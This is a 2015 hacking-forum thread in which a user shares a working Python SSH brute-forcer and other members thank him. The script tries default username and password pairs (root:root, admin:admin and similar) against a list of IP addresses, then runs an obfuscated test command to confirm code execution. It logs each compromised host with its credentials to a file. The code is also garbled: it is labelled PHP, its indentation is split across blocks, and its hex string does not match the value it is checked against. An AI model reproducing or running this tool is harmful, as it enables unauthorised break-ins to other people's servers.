

Forum:[Hack Forums](#)

Thread: [SSH Brute-Forcer - Threaded - Checks Execution](#)

Hopeful Goods - February 28, 2015, 6:04 pm

Free SSH scanner.

Paramiko needed.

yum install python-paramiko* -y

Message me for premium scripts.

PHP Code

```
<?php
import socket
import sys
import time
from multiprocessing import Process
import paramiko

if len(sys.argv) < 4:
    sys.exit("Example: python2 script.py <Input-File> <Output-File> <Threads>\n")

thread_cnt = int(sys.argv[3])
thread_tot = 0

read_h = open(str(sys.argv[1]),'a+')

def f(ip):
    things = "root:root,admin:admin,admin:12345,root:12345,root:password".split(",")
    for sets in things:
        bsets = sets.split(":")

        try:
            print "Trying: ", ip
            ssh.connect(ip, username=bsets[0],password=bsets[1], timeout=1)
        except Exception:
            print "Nope", ip
        else:
            try:
                (stdin, stdout, stderr) = ssh.exec_command("echo -e '\x62\x69\x6e\x66\x61\x67\x74'\n")
            except:
                print "No Exec\n"
                break
            else:
                myrep = stdout.readlines()
                if str(myrep) != "binfo":
                    print "No Exec\n"
```

```

        break
    else:
        print 'Exec on ', ip
        file_h = open(sys.argv[2], 'a+')
        file_h.write(ip + ":" + bsets[0] + ":" + bsets[1] + "\n")
        file_h.close()
        break

```

```
ssh.close()
```

```
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
```

```

for line in read_h:
    myip = line.split("\n")
    p = Process(target=f, args=(myip[0],))
    p.start()
    thread_tot += 1
    if thread_tot > thread_cnt:
        p.join()
        thread_tot = 0
p.join()

```

deiski - February 28, 2015, 9:54 pm

Decent share mate, thanks for this.

roleeswagger - March 1, 2015, 2:54 am

Nice stuff.. i will save it for later :)

Hopeful Goods - March 1, 2015, 5:19 am

(Feb 28, 2015 10:54 PM)+Cyan Wrote: [\[CITE\]](#) Decent share mate, thanks for this.

Yep, if anything it serves as a paramiko example.

I have had an easy time working with paramiko and libtelnet.

I could post the telnet version if you wanted.

Nstewart682 - March 1, 2015, 7:22 am

Really good share, thanks a lot dude.

super exploiter - March 2, 2015, 8:43 am

Thank you ! I was looking for this thing only.

#YOLO - March 2, 2015, 2:38 pm

Im learning python right now, and this is really nice to look over, thanks for the share :)

Hopeful Goods - March 2, 2015, 2:40 pm

(Mar 2, 2015 03:38 PM)#YOLO Wrote: [\[CITE\]](#) Im learning python right now, and this is really nice to look over, thanks for the share :)

No problem! Feel free to message me if you want support

Black?jack - March 2, 2015, 7:19 pm

This isn't multithreaded; this spawns multiple processes. A small but important distinction.

Hopeful Goods - March 2, 2015, 7:53 pm

(Mar 2, 2015 08:19 PM)Black?jack Wrote: [\[CITE\]](#) This isn't multithreaded; this spawns multiple processes. A small but important distinction.

Yeah, I made one with twisted threads, but I couldn't find it. haha